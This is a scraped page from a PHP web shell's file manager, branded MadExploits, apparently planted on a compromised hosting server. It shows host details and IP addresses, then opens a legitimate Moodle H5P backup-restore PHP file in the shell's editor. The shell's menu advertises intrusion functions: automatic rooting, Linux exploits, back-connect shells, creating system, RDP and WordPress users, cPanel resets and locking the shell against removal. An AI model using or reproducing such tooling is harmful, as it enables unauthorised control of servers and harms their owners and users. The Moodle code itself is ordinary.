Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.70.174.42
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead /
mod /
hvp /
backup /
moodle2 /
[ HOME SHELL ]
Name
Size
Permission
Action
backup_hvp_activity_task.class...
3.19
KB
-rw-r--r--
backup_hvp_stepslib.php
7.82
KB
-rw-r--r--
restore_hvp_activity_task.clas...
3.99
KB
-rw-r--r--
restore_hvp_stepslib.php
11.57
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : restore_hvp_stepslib.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Restore structure step for both hvp content and hvp libraries * * @package mod_hvp * @category backup * @copyright 2016 Joubel AS <contact@joubel.com> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ defined('MOODLE_INTERNAL') || die(); /** * Structure step to restore one H5P activity * * @copyright 2018 Joubel AS <contact@joubel.com> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class restore_hvp_activity_structure_step extends restore_activity_structure_step { /** * Defines restore element's structure * * @return array * @throws base_step_exception */ protected function define_structure() { $paths = array(); $userinfo = $this->get_setting_value('userinfo'); // Restore activities. $paths[] = new restore_path_element('hvp', '/activity/hvp'); if ($userinfo) { // Restore content state. $paths[] = new restore_path_element('content_user_data', '/activity/hvp/content_user_data/entry'); } // Return the paths wrapped into standard activity structure. return $this->prepare_activity_structure($paths); } /** * Process H5P, inserting the record into the database. * * @param $data * * @throws base_step_exception * @throws dml_exception */ protected function process_hvp($data) { global $DB; $data = (object) $data; $data->course = $this->get_courseid(); $data->main_library_id = \restore_hvp_libraries_structure_step::get_library_id($data); $data->timecreated = $this->apply_date_offset($data->timecreated); $data->timemodified = $this->apply_date_offset($data->timemodified); // Insert the hvp record. $newitemid = $DB->insert_record('hvp', $data); // Immediately after inserting "activity" record, call this. $this->apply_activity_instance($newitemid); } /** * Process and inserts content user data. * * @param $data * * @throws dml_exception */ protected function process_content_user_data($data) { global $DB; $data = (object) $data; $data->user_id = $this->get_mappingid('user', $data->user_id); $data->hvp_id = $this->get_new_parentid('hvp'); $DB->insert_record('hvp_content_user_data', $data); } /** * Additional work that needs to be done after steps executions. */ protected function after_execute() { // Add files for intro field. $this->add_related_files('mod_hvp', 'intro', null); // Add hvp related files. $this->add_related_files('mod_hvp', 'content', 'hvp'); } } /** * Structure step to restore H5P libraries * * @copyright 2018 Joubel AS <contact@joubel.com> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class restore_hvp_libraries_structure_step extends restore_activity_structure_step { /** * Determines if library should be restored. * * @return bool * @throws backup_step_exception */ protected function execute_condition() { static $librariesrestored; // Prevent this step from running more than once // since all hvp_libraries.xml files are the same. if (!empty($librariesrestored)) { return false; } $librariesrestored = true; // Get full path to activity backup location. $fullpath = $this->task->get_taskbasepath(); if (empty($fullpath)) { throw new backup_step_exception('backup_structure_step_undefined_fullpath'); } $fullpath = rtrim($fullpath, '/'); // Check for the activity's local hvp_libraries.xml file. if (file_exists("{$fullpath}/{$this->filename}")) { // Use that. return true; } // Look for a global hvp_libraries.xml file. if (file_exists("{$fullpath}/../{$this->filename}")) { // Use it. $this->filename = "../{$this->filename}"; return true; } // Not able to find a hvp_libraries.xml, skip restore and let the admin // be responsible for providing the approperiate libraries. // (Could also be using Import which doesn't need libraries). return false; } /** * Defines how library should be restored. * * @return array */ protected function define_structure() { $paths = array(); // Restore libraries first. $paths[] = new restore_path_element('hvp_library', '/hvp_libraries/library'); // Add translations. $paths[] = new restore_path_element('hvp_library_translation', '/hvp_libraries/library/translations/translation'); // ... and dependencies. $paths[] = new restore_path_element('hvp_library_dependency', '/hvp_libraries/library/dependencies/dependency'); // Return the paths wrapped into standard activity structure. return $this->prepare_activity_structure($paths); } /** * Process and insert library record. * * @param $data * * @throws dml_exception * @throws restore_step_exception */ protected function process_hvp_library($data) { global $DB; $data = (object)$data; $oldid = $data->id; unset($data->id); $libraryid = self::get_library_id($data); if (!$libraryid) { // There is no updating of libraries. If an older patch version exists // on the site that one will be used instead of the new one in the backup. // This is due to the default behavior when files are restored in Moodle. // Restore library. $libraryid = $DB->insert_record('hvp_libraries', $data); // Update libraries cache. self::get_library_id($data, $libraryid); } // Keep track of libraries for translations and dependencies. $this->set_mapping('hvp_library', $oldid, $libraryid); // Update any dependencies that require this library. $this->update_missing_dependencies($oldid, $libraryid); } /** * Process and inserts translations for library. * * @param $data * * @throws dml_exception */ protected function process_hvp_library_translation($data) { global $DB; $data = (object) $data; $data->library_id = $this->get_new_parentid('hvp_library'); // Check that translations doesn't exists. $translation = $DB->get_record_sql( 'SELECT id FROM {hvp_libraries_languages} WHERE library_id = ? AND language_code = ?', array($data->library_id, $data->language_code) ); if (empty($translation)) { // Only restore translations if library has been restored. $DB->insert_record('hvp_libraries_languages', $data); } } /** * Process and inserts library dependencies. * * @param $data * * @throws dml_exception */ protected function process_hvp_library_dependency($data) { global $DB; $data = (object) $data; $data->library_id = $this->get_new_parentid('hvp_library'); $newlibraryid = $this->get_mappingid('hvp_library', $data->required_library_id); if ($newlibraryid) { $data->required_library_id = $newlibraryid; // Check that the dependency doesn't exists. $dependency = $DB->get_record_sql( 'SELECT id FROM {hvp_libraries_libraries} WHERE library_id = ? AND required_library_id = ?', [ $data->library_id, $data->required_library_id, ] ); if (empty($dependency)) { $DB->insert_record('hvp_libraries_libraries', $data); } } else { // The required dependency hasn't been restored yet. We need to add this dependency later. $this->update_missing_dependencies($data->required_library_id, null, $data); } } /** * Additional work that is executed after library restoration steps. * * @throws dml_exception */ protected function after_execute() { // Add files for libraries. $context = \context_system::instance(); $this->add_related_files('mod_hvp', 'libraries', null, $context->id); } /** * Cache to reduce queries. * * @param $library * @param null $set * * @return mixed * @throws dml_exception */ public static function get_library_id(&$library, $set = null) { static $keytoid; global $DB; $key = $library->machine_name . ' ' . $library->major_version . '.' . $library->minor_version; if (is_null($keytoid)) { $keytoid = array(); } if ($set !== null) { $keytoid[$key] = $set; } else if (!isset($keytoid[$key])) { $lib = $DB->get_record_sql( 'SELECT id FROM {hvp_libraries} WHERE machine_name = ? AND major_version = ? AND minor_version = ?', array($library->machine_name, $library->major_version, $library->minor_version) ); // Non existing = false. $keytoid[$key] = (empty($lib) ? false : $lib->id); } return $keytoid[$key]; } /** * Keep track of missing dependencies since libraries aren't inserted * in any special order * * @param $oldid * @param $newid * @param null $setmissing * * @throws dml_exception */ private function update_missing_dependencies($oldid, $newid, $setmissing = null) { static $missingdeps; global $DB; if (is_null($missingdeps)) { $missingdeps = array(); } if ($setmissing !== null) { $missingdeps[$oldid][] = $setmissing; } else if (isset($missingdeps[$oldid])) { foreach ($missingdeps[$oldid] as $missingdep) { $missingdep->required_library_id = $newid; // Check that the dependency doesn't exists. $dependency = $DB->get_record_sql( 'SELECT id FROM {hvp_libraries_libraries} WHERE library_id = ? AND required_library_id = ?', array($missingdep->library_id, $missingdep->required_library_id) ); if (empty($dependency)) { $DB->insert_record('hvp_libraries_libraries', $missingdep); } } unset($missingdeps[$oldid]); } } }
Close